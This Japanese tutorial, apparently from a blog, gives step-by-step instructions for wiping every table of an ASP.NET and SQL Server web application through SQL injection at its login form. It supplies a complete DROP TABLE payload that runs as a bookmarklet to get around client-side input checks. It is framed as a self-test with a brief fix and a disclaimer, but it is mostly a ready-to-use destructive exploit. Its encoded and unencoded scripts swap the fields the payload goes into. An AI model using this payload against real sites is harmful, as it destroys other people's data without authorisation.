ログイン画面でDBテーブルを全て消す
ASP.NET + SQLServer 構成のWebアプリケーションでSQLインジェクションによる全テーブル削除の例を挙げる。
操作はパソコン上のブラウザを想定している。
手順の概要
①部品IDの確認
②スクリプト調整
③「お気に入り」から実行
各手順の詳細
①部品IDの確認
まずはログイン画面のユーザID入力テキストボックスの部品IDとパスワードの部品IDとログインボタンの部品IDを確認する。
例えばそれが、このような画面だったとする。
例えば次のようなHTMLになっている。これは「ソースの表示」で誰でも見ることができる。
<table> <tr> <td class="title">ユーザ名</td> <td class="text"><input id="txtUSERID" name="txtUSERID" type="text" /></td> </tr> <tr> <td class="title">パスワード</td> <td class="text"><input id="txtPASSWORD" name="txtPASSWORD" type="password" /></td> </tr> <tr> <td colspan=2> <input id="btnLOGIN" type="submit" value="ログイン" > </td> </tr> </table>
id=xxxx の箇所に注目して、この画面の場合は、
ユーザIDの部品ID:txtUSERID
パスワードの部品ID:txtPASSWORD
ログインボタンの部品ID:btnLOGIN
であることがわかる。
次はこの部品IDを用いてSQLインジェクションを起こすスクリプトを作成する。
②スクリプト調整
前項①で調べた部品IDを用いて、以下のスクリプトを適宜修正をおこなう。
javascript:document.getElementById("「ユーザIDの部品ID」").value='abc';document.getElementById("「パスワードの部品ID」").value="';declare @SQL nvarchar(max);SELECT @SQL = STUFF((SELECT ', ' + quotename(TABLE_SCHEMA) + '.' + quotename(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES FOR XML PATH('')),1,2,'');SET @SQL = 'DROP TABLE ' + @SQL;EXECUTE(@SQL); --";__doPostBack("「ログインボタンの部品ID」","");
すると次のようなスクリプトになる。
javascript:document.getElementById("txtUSERID").value='abc';document.getElementById("txtPASSWORD").value="';declare @SQL nvarchar(max);SELECT @SQL = STUFF((SELECT ', ' + quotename(TABLE_SCHEMA) + '.' + quotename(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES FOR XML PATH('')),1,2,'');SET @SQL = 'DROP TABLE ' + @SQL;EXECUTE(@SQL); --";__doPostBack("btnLOGIN","");
これをURLエンコードする。URLエンコードはオンラインでも可能(http://www.garunimo.com/program/tool/url-Encode-Decode.php など)
例えば次のようになる。
javascript:document.getElementById(%22txtPASSWORD%22).value='abc'%3Bdocument.getElementById(%22txtUSERID%22).value=%22%27%3Bdeclare%20%40SQL%20nvarchar%28max%29%3BSELECT%20%40SQL%20%3D%20STUFF%28%28SELECT%20%27%2C%20%27%20%2B%20quotename%28TABLE_SCHEMA%29%20%2B%20%27.%27%20%2B%20quotename%28TABLE_NAME%29%20FROM%20INFORMATION_SCHEMA.TABLES%20FOR%20XML%20PATH%28%27%27%29%29%2C1%2C2%2C%27%27%29%3BSET%20%40SQL%20%3D%20%27DROP%20TABLE%20%27%20%2B%20%40SQL%3BEXECUTE%28%40SQL%29%3B%20--%22%3B__doPostBack(%22btnLOGIN%22%2C%22%22)%3B
以上でスクリプトの準備ができたので、次にこれを実行する手順に入る。
☆javascriptの直後の「:」がURLエンコードされている場合はうまく行かない場合がある。その場合は、その文字に当たる部分を手で「:」に戻しておく。
③「お気に入り」から実行する
ログインボタン押下時には多くの場合クライアントのJavascriptで入力チェックが仕込まれている。
これを迂回するために、ボタンは押さずにポストバックを起こすスクリプトを「お気に入り」から実行できるように準備する。
ブラウザの「お気に入り」(ブラウザによってはブックマークとも呼ぶ)に空のものを新規追加してそのプロパティを開き、URL欄に上記スクリプトを貼り付けて保存したあと、ログイン画面上でその「お気に入り」項目を選択するという操作を実施する。
以上の操作後、DBの全てのテーブルか、または多くのテーブルが削除されていないかを確認する。
もしテーブルが減っている場合は、致命的なセキュリティホールが存在すると思って良いので直ちに対処されることをお勧めする。
以上でSQLインジェクションの例は完了だが、最後にスクリプトについての簡単な解説をしておきたい。
スクリプトの解説
簡単にスクリプトの内容を説明しておくと、スクリプトは以下のようなことを行っている。
1.パスワードにabcを入力(空だと早い段階で入力必須エラーではじかれるのを回避するため適当な文字列abcをセットしているだけ)
2.ユーザIDに、冒頭1文字目にシングルクォーテーションを1個つけ、次にセミコロン(これは半角スペースでもよい)、そのあと declare @SQLから「–“」まではMicrosoft SQLServer 用のSQL文になっている。
このSQL文の意味は、まずデータベースに存在するテーブル名をすべてシングルクォーテーション囲みの文字列にしてカンマ区切りで連結したものを作り、次にそれを用いてテーブルを削除するSQL文を構成して実行する、というもの。
MySQLやOracleでは少し異なるSQL文を用意する必要がある。それはまた続編で紹介しよう。
ユーザIDの冒頭1文字目にシングルクォーテーションをつける理由は、ログインボタン押下で次のようなSQL文が最初に走るようなケースで効果があるため。
VB.NETの場合の例)
strSQL = “SELECT COUNT(*) FROM MST_USER WHERE USERID='” & txtUSERID.Text & “‘”
これは入力されたログイン用のIDを直接SQL文に連結してデータベースに存在チェックするSQL文で、入力内容をそのままSQL文に連結している点が危険なポイントと言える。
最初のシングルクォーテーションとセミコロンが入ることで、SELECT文はいったんそこで終わってセミコロン以降のSQL文もまた実行される。その結果データベースのテーブルが消えることになる。リレーションで制約があるものや削除権限がないものは消えないものもある。
最後の「–“」(ハイフン、ハイフン、ダブルクォーテーション)の3文字はこれらの後ろに続く文字列は全部コメントとして無視するという効果があって、このSQLインジェクションによって乱れたSQL文においてSQLエラーを生じなくするという効果がある。
このようにしてSQLインジェクションが成功する。
対策例
対策はサーバ側でも入力チェックすること、および入力文字列をSQL文に直接連結しないでパラメータかストアドプロシジャを使うこと。
結論
以上、あなたの使っているWebアプリーションでもぜひこのチェックを試してほしい。何も起こらなければ、あなたのWebはとりあえずはOK。もしDBのテーブルが消えた場合はセキュリティ対策を適用したほうがよいと思われる。
注意:もちろんこのチェックはテスト用サーバなどデータが消えても支障がない環境で実施することをお勧めする。本番環境で当スクリプトを試してデータが消失しても当方は一切責任を負わない、と念のため宣言しておく。